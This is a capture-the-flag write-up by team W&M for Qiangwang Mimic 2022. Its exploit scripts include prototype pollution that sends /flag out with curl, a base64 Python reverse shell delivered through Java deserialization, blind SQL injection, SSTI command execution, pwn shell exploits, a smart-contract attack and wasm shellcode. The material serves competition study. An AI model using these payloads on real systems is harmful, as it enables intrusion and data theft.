强网拟态 2022 By W&M

·
Write - Up no tag November 6, 2022
  • WEB
    • WHOYOUARE
    • popsql
    • 没有人比我更懂PY
    • easy_java
    • ezus
    • NoRCE
  • MIMIC
    • pwn1
    • pwn1-1
    • pwn2-1
    • web_mimic
  • Crypto
    • Vigenere
    • weakrandom
  • BLOCKCHAIN
    • ToBeEquel
  • PWN
    • slot_missing
    • webheap
    • webheap_revenge
    • bfbf
    • store
    • only
  • REVERSE
    • comeongo
    • mcmc
  • MISC
    • Welcome
    • babymisc

WEB

WHOYOUARE

constructor.prototype原型链污染 argv0 $0

import json
import requests

url = "http://172.52.31.56:3000/user"


def req(payload):
    r = requests.post(url, json={
        "user": json.dumps({
            "command": ["-c", payload],
            "constructor": {
                "prototype": {
                    "argv0": "curl -d@/flag 10.92.85.14:2333"
                }
            }
        })
    })
    d = r.json()
    if d['status'] ==0:
        print(d['info'].removeprefix('User of guest : '))
    else:
        print(d)

req("env")
req("$0")

popsql

import requests
flag=''
for a in range(1,9999):
    print(a)
    for i in range(30,130):
        payload=("' or if((select STRCMP(hex(right((select (f1aG123) from Fl49ish3re),"+str(a)+")),'"+str(hex(i))[2:]+flag+"')),1,benchmark(9999999,md5('test')))#").replace(" ","/**/")
        try:
            #UPDATE `Fl49ish3re` SET `f1aG123` = ? WHERE `f1aG123` = ?
            #Fl49ish3re
            #users,Fl49ish3re
            r=requests.post(url="<http://172.52.31.84/index.php",data={"username":"admin","password>":payload},timeout=1)
            #print(r.text)
        except:
            flag=str(hex(i))[2:]+flag
            print(payload)
            print(flag)
            break

sys.x$statement_analysis读列名

没有人比我更懂PY

data={{()["__\\143\\154\\141\\163\\163__"]["__\\155\\162\\157__"][1]["__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__"]()[247]["__\\151\\156\\151\\164__"]["__\\147\\154\\157\\142\\141\\154\\163__"]["\\157\\163"]["\\160\\157\\160\\145\\156"]("\\143\\141\\164\\40\\57\\146\\154\\141\\147")["\\162\\145\\141\\144"]()}}

不允许有a-z。八进制绕过

easy_java

前面rogue mysql 把源码读下来

然后是个反序列化

url=jdbc:mysql://10.92.85.6:3306/test?%2561%2575%2574%256f%2544%2565%2573%2565%2572%2569%2561%256c%2569%257a%2565 =true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_Groovy1_bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pOyBzLmNvbm5lY3QoKCIxMC45Mi44NS42IiwxMzM3KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=}|{base64,-d}|{bash,-i}

第一层用url编码绕过。第二层加个空格绕过

然后Groovy反序列化直接用

ezus

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:76:"php://filter/read=convert.base64-encode/try|pass/resource=/var/www/html/hint";s:4:"hint";s:67:"aaaa://localhost..@prankhub/../../../../../../../f1111444449999.txt";}}

反序列化逃逸。fastdestruct。

NoRCE

反序列化禁用了com.example.demo.bean.Connect和java.security.*

二次反序列化绕过

http://tttang.com/archive/1701/#toc_rmiconnector

二次反序列化。BadAttributeValueExpException到MyBean的tostring然后到``Connect触发jdbc

roguemysql netdoc列目录。读文件

import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException, IOException {
        Connect c = new Connect("jdbc:mysql://10.92.85.6:3306/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true", "", "");
        MyBean my = new MyBean("", "", c);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, my);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  // 本体
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式,懂?
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

        InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        System.out.println(data);

    }
}
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class exp2 {
    public static void setField(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setField(jmxServiceURL, "urlPath", "/stub/rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAEnQAA2V4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAHGNvbS5leGFtcGxlLmRlbW8uYmVhbi5NeUJlYW4BFaoXHFZFKQIAA0wABGNvbm50ACZMamF2YXgvbWFuYWdlbWVudC9yZW1vdGUvSk1YQ29ubmVjdG9yO0wAB21lc3NhZ2VxAH4AAUwAA3VybHEAfgABeHBzcgAdY29tLmV4YW1wbGUuZGVtby5iZWFuLkNvbm5lY3RHjtzGNSsWrgIAA0wABG5hbWVxAH4ABUwACHBhc3N3b3JkcQB+AAVMAAN1cmxxAH4ABXhwdAAAcQB+ABt0AG5qZGJjOm15c3FsOi8vMTAuOTIuODUuNjozMzA2L2pkYmM/YWxsb3dMb2FkTG9jYWxJbmZpbGU9dHJ1ZSZtYXhBbGxvd2VkUGFja2V0PTY1NTM2MCZhbGxvd1VybEluTG9jYWxJbmZpbGU9dHJ1ZXEAfgAbcQB+ABs=");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        MyBean my = new MyBean("", "", rmiConnector);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, my);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  // 本体
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式,懂?
        objectOutputStream.writeUTF("cb2a2fbd");
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        //byte[] bytes = tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
        String secret = data.substring(0, 6);
        String key = objectInputStream.readUTF();
        System.out.println(key);
        System.out.println(secret);
        System.out.println(data);
        if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
            objectInputStream.readObject();
            System.out.println("oops");
        } else {
            System.out.println("incorrect key");
        }
    }

image-20221106162721087

MIMIC

pwn1

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#sh = process('./pwn1-1')
sh = remote('172.52.31.74', 9999)

def choice(idx):
    sh.sendline(str(idx))

choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0x00000000000012A0
log.success("code_base:\\t" + hex(codebase))

#gdb.attach(sh, "b printf")

printf_got = codebase + 0x4028
system_plt = codebase + 0x1046
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()

pwn1-1

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
sh = process('./pwn1')
#sh = remote('172.52.31.20', 9999)

def choice(idx):
    sh.sendline(str(idx))

choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0xa94
log.success("code_base:\\t" + hex(codebase))

gdb.attach(sh, "b printf")

printf_got = codebase + 0x202038
system_plt = codebase + 0x876
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()

pwn2-1

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./pwn2-1"

# context.timeout = 1

def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary

def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])

def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\\t'
        return_address = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""

def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()

def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("choice :", str(idx))

def add(size, content):
    choice(1)
    sh.sendlineafter("size :", str(size))
    sh.sendafter("Content :", str(content))

def delete(idx):
    choice(2)
    sh.sendlineafter("Index :", str(idx))

def show(idx):
    choice(3)
    sh.sendlineafter("Index :", str(idx))

def pwn(sh, elf, libc):
    context.log_level = "debug"
    choice(5)
    sh.recvuntil('0x')
    codebase = int(sh.recvline(), 16) - 0x00000000000011F0
    magic = codebase + 0x0000000000001B70
    log.success("code_base:\\t" + hex(codebase))
    add(0x68, 'a' * 0x68)
    add(0x68, 'b' * 0x68)
    delete(0)
    delete(1)
    add(0x8, p64(magic))
    show(0)
    #gdb.attach(sh)
    #delete(0)

    sh.interactive()

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

web_mimic

des一把索

image-20221106162920886

Crypto

Vigenere

https://d33b4t0.com/Classical%20Cryptography/ DBT脚本一把梭

import gmpy2
f = open(r'cipher.txt','r')
c = f.read()
f.close()
best_index = 0.065
sum = 0
dic_index = {'a': 0.08167,'b': 0.01492,'c': 0.02782,'d':0.04253,'e': 0.12702,'f':0.02228,'g': 0.02015,'h':0.06094,'i':0.06966,'j':0.00153,'k':0.00772,'l':0.04025,'m':0.02406,'n':0.06749,'o':0.07507,'p':0.01929,'q':0.00095,'r':0.05987,'s':0.06327,'t':0.09056,'u':0.02758,'v':0.00978,'w':0.02360,'x':0.00150,'y':0.01974,'z':0.00074}

def IndCo(s):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    freq = {}
    for i in alpha:
        freq[i] = 0
    for i in s:
        freq[i] =  freq[i] + 1
    index = 0
    for i in alpha:
        index = index + (freq[i]*(freq[i] - 1 )) / (len(s) * (len(s) - 1 ))
    return index

def IndCo_m(s):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    freq = {}
    for i in alpha:
        freq[i] = 0
    for i in s:
        freq[i] += 1
    index = 0
    for i in alpha:
        index += freq[i] / len(s) * dic_index[i]
    return index

def get_keylen(c):
    keylen = []
    for i in range(1,100):
        average_index = 0
        for j in range(i):
            s = ''.join(c[j+i*x] for x in range(0,len(c)//i))
            index = IndCo(s)
            average_index+=index
        average_index = average_index/i - best_index
        if abs(average_index)<0.01:
            keylen.append(i)
    return keylen

keylen = get_keylen(c)
print("keylen", keylen)

def decrypt(c,i,j):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    m = ''
    for x in c:
        m += alpha[((alpha.index(x)-j)*gmpy2.invert(i,26))%26]
    return m 

def get_key(c):
    for i in range(26):
        if gmpy2.gcd(i,26)!= 1 :
            continue
        for j in range(26):
            m = decrypt(c,i,j)
            index = IndCo_m(m)
            if abs(index-0.065)<0.01:
                return (i,j)

def get_all_key(s,keylen):
    for i in range(keylen):
        temps = ''.join([s[i+x*keylen] for x in range(0,len(s)//keylen)])
        print(get_key(temps))

get_all_key(c,keylen[0])

from Crypto.Cipher import AES

plaintext = ''
k1 = [3,15,17,7,5,5,19,19,3,15,1,23,5,11,25]
k2 = [18,25,20,12,3,16,14,15,6,0,9,18,10,7,12]
l1 = len(k1)
l2 = len(k2)
alpha='abcdefghijklmnopqrstuvwxyz'
for i in range(len(c)):
    plaintext+=alpha[((alpha.index(c[i])-k2[i%l2])*gmpy2.invert(k1[i%l1],26))%26]

print(plaintext)

from Crypto.Util.number import *
cipher = 0xe0365a1ed561342b57ce068008a20ce34e4d488e0b43954e7f638f85d36f416b07d1139bab9995ab3afd8d09f9ee0b91
cipher = long_to_bytes(cipher)

for i in range(len(plaintext)):
    key = plaintext[i:i+16]
    aes = AES.new(key.encode(), AES.MODE_ECB)
    flag = aes.decrypt(cipher)
    if b'flag' in flag:
        print(flag)
        print(key)
        break

weakrandom

爆破猜key就行

from tqdm import tqdm
from pwn import *
import hashlib

POST = '172.52.31.158'
# POST = '127.0.0.1'
HOST = 9998
r = remote(POST,HOST)
context.log_level = 'debug'

table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def passpow():
    rev = r.recvuntil("sha256(XXXX+")
    suffix = r.recv(16).decode()
    r.recvuntil(" == ")
    res = r.recv(64).decode()
    def f(x):
        hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
        if hashresult == res:
            return 1
        else:
            return 0
    prefix = util.iters.mbruteforce(f,table,4,'upto')
    r.recvuntil("XXXX:")
    r.sendline(str(prefix))

def talk(num):
    r.recvuntil("guess : ")
    r.sendline(str(num))

class WeakRandom:
    def __init__(self,seed,n,s):
        self.x = seed
        self.n = n
        self.s = s

    def next(self):
        x = int((self.x ** 2) // (10 ** (self.s // 2))) % self.n
        self.x = x
        high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)
        low = x & (2 ** 16 - 1)
        result = high << 16 | low
        return result

passpow()
talk(0)
r.recvuntil("Fail! The number is ")
output = int(r.recvline(False))
low = output & (2 ** 16 - 1)
print(low, output)
n, s, x = 10000000000, 4, 0
for high in tqdm(range(0xffff+1)):
    x = high << 16 | low
    if (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1) == output >> 16:
        print("Found!", x)
print("x:", x)
Q = WeakRandom(x,n,s)

for i in range(20):
    talk(Q.next())

r.interactive()

BLOCKCHAIN

ToBeEquel

nc第一步爆破

from pwn import *

def passpow():
    sh.recvuntil('sha256')
    s = sh.recv().decode('utf-8')
    print(s)
    prefix = re.split('\\(', s)[1][:8]
    while 1:
        answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
        bits = bin(int(hashlib.sha256((prefix + answer).encode()).hexdigest(), 16))[2:]
        if bits.endswith('00000000000000000000'):
            print(answer)
            sh.sendline(answer)
            return

sh = remote('140.210.195.172', 10001)
passpow()
sh.interactive()

solidity合约源码

pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

contract ToBeEquel {
    address private owner;
    mapping(address => uint) public balances;
    uint private last_balance;
    event ForFlag(address addr);

    constructor() public {
        owner = msg.sender;
        balances[owner] = 500;
    }

    modifier onlyOwner {
        require(msg.sender == owner || msg.sender == address(this), "not authorized");
        _;
    }

    function CallTest(address to, string memory customFallback, bytes memory data) public {
        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, data)
            );
            assert(success);
        }
    }

    function _isContract(address addr) internal view returns (bool) {
        uint length;
        assembly {
            length := extcodesize(addr)
        }
        return (length > 0);
    }

    function _Cal(uint value, uint amount) public onlyOwner {
        require(balances[tx.origin]<balances[owner]);
        require(balances[tx.origin]>=last_balance);
        balances[owner] -= uint(value & 0xff);
        balances[tx.origin] += amount;
        last_balance = balances[tx.origin];
    }

    function getFlag() external {
        require(balances[owner]==balances[msg.sender]);
        emit ForFlag(msg.sender);
    }   
}

要求balances[owner] == balances[msg.sender],可以修改两个值的地方是_Cal,而_Cal只有Owner可以调用。阅读代码发现可以用CallTest来调用。

由于CallTest中data的类型是bytes,所以内存结构如下。

feb6d173                -> function signature
address(msg.sender)     -> caller address
0x40                    -> data offset
0x20                    -> data size
data raw bytes          -> data

其中address通过爆破可控,data可控(但是没用),offset应该可控,但是不需要。也就是说可以控制_Cal里的value。

那么做两次调用,第一次 balances[origin] = 0 + 64, balance[owner] = 500 - 255 = 245,第二次第二次 balances[orginal] = 64 + 64 = 128, balance[owner] = 245 - 117 = 128。只需要生成两个账户,最低位分别为0xff和0x75即可。

from web3 import Web3, HTTPProvider
from ethereum import utils
import os, sys

# generate EOA with the ability to deploy contract with appendix 1b1b
# <https://hitcxy.com/2020/generate-address/>
def generate_eoa2(surfix):
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith(surfix):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    return addr, priv, utils.decode_addr(utils.mk_contract_address(addr, 0))

def hack(public, data, private, to=None):
    txn = {
        'from': Web3.toChecksumAddress(public),
        'to': Web3.toChecksumAddress(to),
        'chainId': 0x22b8,  # w3.eth.chainId,
        'gasPrice': w3.eth.gasPrice,
        'gas': 8000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'data': data,
    }
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    print("txn_hash=", txn_hash)
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print(txn_receipt)
    return txn_receipt

w3 = Web3(Web3.HTTPProvider("<http://140.210.195.172:8545>"))

public_wallet = "REDACTED"
private_wallet = "REDACTED"
contract = "0x70b3aC68bF86d10b6A4D47977B7002A065735253"

public_ff, priavte_ff, contract_ff = generate_eoa2("ff")
public_75, private_75, contract_75 = generate_eoa2("ff")

# Deploy Attack
'''
contract Exp {
    bytes public test;
    ToBeEquel other;
    constructor() public payable {
        other = ToBeEquel(address(0x70b3aC68bF86d10b6A4D47977B7002A065735253));
    }

    function trigger() public {
        other.CallTest(address(other), "_Cal(uint256,uint256)",bytes(abi.encode(0x1337)));
    }
}
'''

data = "0x60806040527370b3ac68bf86d10b6a4d47977b7002a065735253600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e5806100686000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80637fec8d381461003b578063f8a8fd6d14610045575b600080fd5b610043610063565b005b61004d610137565b60405161005a91906102af565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0f1d69c600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166113376040516020016100d791906102d1565b6040516020818303038152906040526040518363ffffffff1660e01b815260040161010392919061026c565b600060405180830381600087803b15801561011d57600080fd5b505af1158015610131573d6000803e3d6000fd5b50505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b6101de81610319565b82525050565b60006101ef826102ec565b6101f981856102f7565b935061020981856020860161036b565b6102128161039e565b840191505092915050565b61022681610359565b82525050565b6000610239601583610308565b91507f5f43616c2875696e743235362c75696e743235362900000000000000000000006000830152602082019050919050565b600060608201905061028160008301856101d5565b81810360208301526102928161022c565b905081810360408301526102a681846101e4565b90509392505050565b600060208201905081810360008301526102c981846101e4565b905092915050565b60006020820190506102e6600083018461021d565b92915050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061032482610339565b9050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103648261032b565b9050919050565b60005b8381101561038957808201518184015260208101905061036e565b83811115610398576000848401525b50505050565b6000601f19601f830116905091905056fea26469706673582212209de64f4e2c3f3a232d4deefbff97e3d9a406c7b4f95f87164da5ed3202782f6264736f6c634300060c0033"

print(hack(public=public_ff, data=data, private=priavte_ff, to=None))
print(hack(public=public_75, data=data, private=private_75, to=None))

# call trigger()
data = "0x7fec8d38"
hack(public=public_wallet, data=data, private=private_wallet, to=contract_ff)
hack(public=public_wallet, data=data, private=private_wallet, to=contract_75)

# call getflag()
data = "0xf9633930"
hack(public=public_wallet, data=data, private=private_wallet, to=contract)

PWN

slot_missing

编译过程

git clone <https://github.com/wasm3/wasm3.git>
cd wasm3
git checkout 9dcfce271c2fac86823725fc9ec0f75309d820e4
git apply patch.diff
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-z execstack" -DCMAKE_CXX_FLAGS="-z execstack" ..
make

值得注意的是开了 -z execstack,并且在 18.04 下,栈和堆都具有可执行权限,由于一直在 ubuntu 20.04 下调试,一直以为堆没有可执行权限,因此卡了很久😂。

patch.diff

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2a4a8aa..b1cac8c 100755
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -186,6 +186,8 @@ endif()

 target_link_libraries(${OUT_FILE} m3)

+set(BUILD_WASI "none")
+
 if(BUILD_WASI MATCHES "simple")
   set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Dd_m3HasWASI")
 elseif(BUILD_WASI MATCHES "metawasi")
diff --git a/platforms/app/main.c b/platforms/app/main.c
index d4af4e4..0327153 100644
--- a/platforms/app/main.c
+++ b/platforms/app/main.c
@@ -71,7 +71,7 @@ M3Result link_all  (IM3Module module)
     res = m3_LinkSpecTest (module);
     if (res) return res;

-    res = m3_LinkLibC (module);
+    /*res = m3_LinkLibC (module);
     if (res) return res;

 #if defined(LINK_WASI)
@@ -92,7 +92,7 @@ M3Result link_all  (IM3Module module)
     }
     if (res == m3Err_functionLookupFailed) { res = NULL; }
 #endif
-
+    */
     return res;
 }

@@ -281,7 +281,8 @@ M3Result repl_call  (const char* name, int argc, const char* argv[])

         return result;
 #else
-        return "WASI not linked";
+        return m3_CallArgv(func, 0, NULL);
+        //return "WASI not linked";
 #endif
     }

diff --git a/source/m3_compile.c b/source/m3_compile.c
index 8a93330..006ddfa 100644
--- a/source/m3_compile.c
+++ b/source/m3_compile.c
@@ -1791,6 +1791,17 @@ _   (EmitSlotNumOfStackTopAndPop (o));
     _catch: return result;
 }

+static
+M3Result  Compile_Pwn  (IM3Compilation o, m3opcode_t i_opcode)
+{
+    M3Result result = m3Err_none;
+    IM3Operation op = op_Pwn;
+
+_   (EmitOp  (o, op));
+_   (EmitSlotNumOfStackTopAndPop (o));
+
+    _catch: return result;
+}

 static
 M3Result  ReadBlockType  (IM3Compilation o, IM3FuncType * o_blockType)
@@ -2539,7 +2550,7 @@ const M3OpInfo c_operationsFC [] =

     M3OP( "memory.copy",            0,  none,   d_emptyOpList,                           Compile_Memory_CopyFill ), // 0x0a
     M3OP( "memory.fill",            0,  none,   d_emptyOpList,                           Compile_Memory_CopyFill ), // 0x0b
-
+    M3OP( "wasm.pwn",               0,  none,   d_emptyOpList,                           Compile_Pwn ), //0x0c

 # ifdef DEBUG
     M3OP( "termination", 0, c_m3Type_unknown ) // for find_operation_info
diff --git a/source/m3_exec.h b/source/m3_exec.h
index 461ffaa..f21c0ee 100644
--- a/source/m3_exec.h
+++ b/source/m3_exec.h
@@ -742,6 +742,12 @@ d_m3Op  (MemFill)
     else d_outOfBoundsMemOp (destination, size);
 }

+d_m3Op  (Pwn)
+{
+    u32 *ptr = slot_ptr (u32);
+    printf("ptr=0x%lx\\n",ptr);
+    nextOp ();
+}

 // it's a debate: should the compilation be trigger be the caller or callee page.
 // it's a much easier to put it in the caller pager. if it's in the callee, either the entire page

项目:https://github.com/wasm3/wasm3.git,给一次执行任意 wasm 代码的权限

https://github.com/ha1vk/blackhat_wasm

#安装wat2wasm
sudo apt install wabt

漏洞点(CVE-2022-34529):https://github.com/wasm3/wasm3/issues/337

新增的功能 wasm.pwn 在 wat2wasm 源码里可以找到为 table.init(应该是 wasm3 没有实现完整),我们这边用 table.init 替代一下,然后搜索替换后缀数据为 NOP (01),使用新增功能 op_Pwn 结合这个漏洞可以做到 CALL PC_STACK 上的数据,但是 PC_STACK 一般是编译后各种 OP 的地址和参数的下标。

通过各种尝试可以找到 global.get 可以插入一个堆地址到 PC_STACK,插入的堆地址的数据可控(为全局变量数据),这样结合编译时的选项可以让程序到堆上执行 shellcode,但没找到创建连续数据的方式,这里用多个全局变量,然后之间用 JMP 串联来实现

EXP

import os
code = '''
(module
  (type (;0;) (func))  
  (global $test (;0;) (mut i64) (i64.const 0x28ebc031485e5041))
  (global $test2 (;0;) (mut i64) (i64.const 0x28ebd23148ff3148))
  (global $test3 (;0;) (mut i64) (i64.const 0x28eb909090c2ff48))
  (global $test4 (;0;) (mut i64) (i64.const 0x28eb050f10e2c148))

  (func $_start (type 0)
      (local i64 i64 i64 i64 i64 i64 i64 i64 i64 i64)

      f32.const 1.1
      f32.ceil
      table.init 0
      global.get $test
      global.set $test

  )
  (memory (;0;) 0x2)
  (export "_start" (func $_start))
)
'''

lines = code.split('\\n')
code = ''
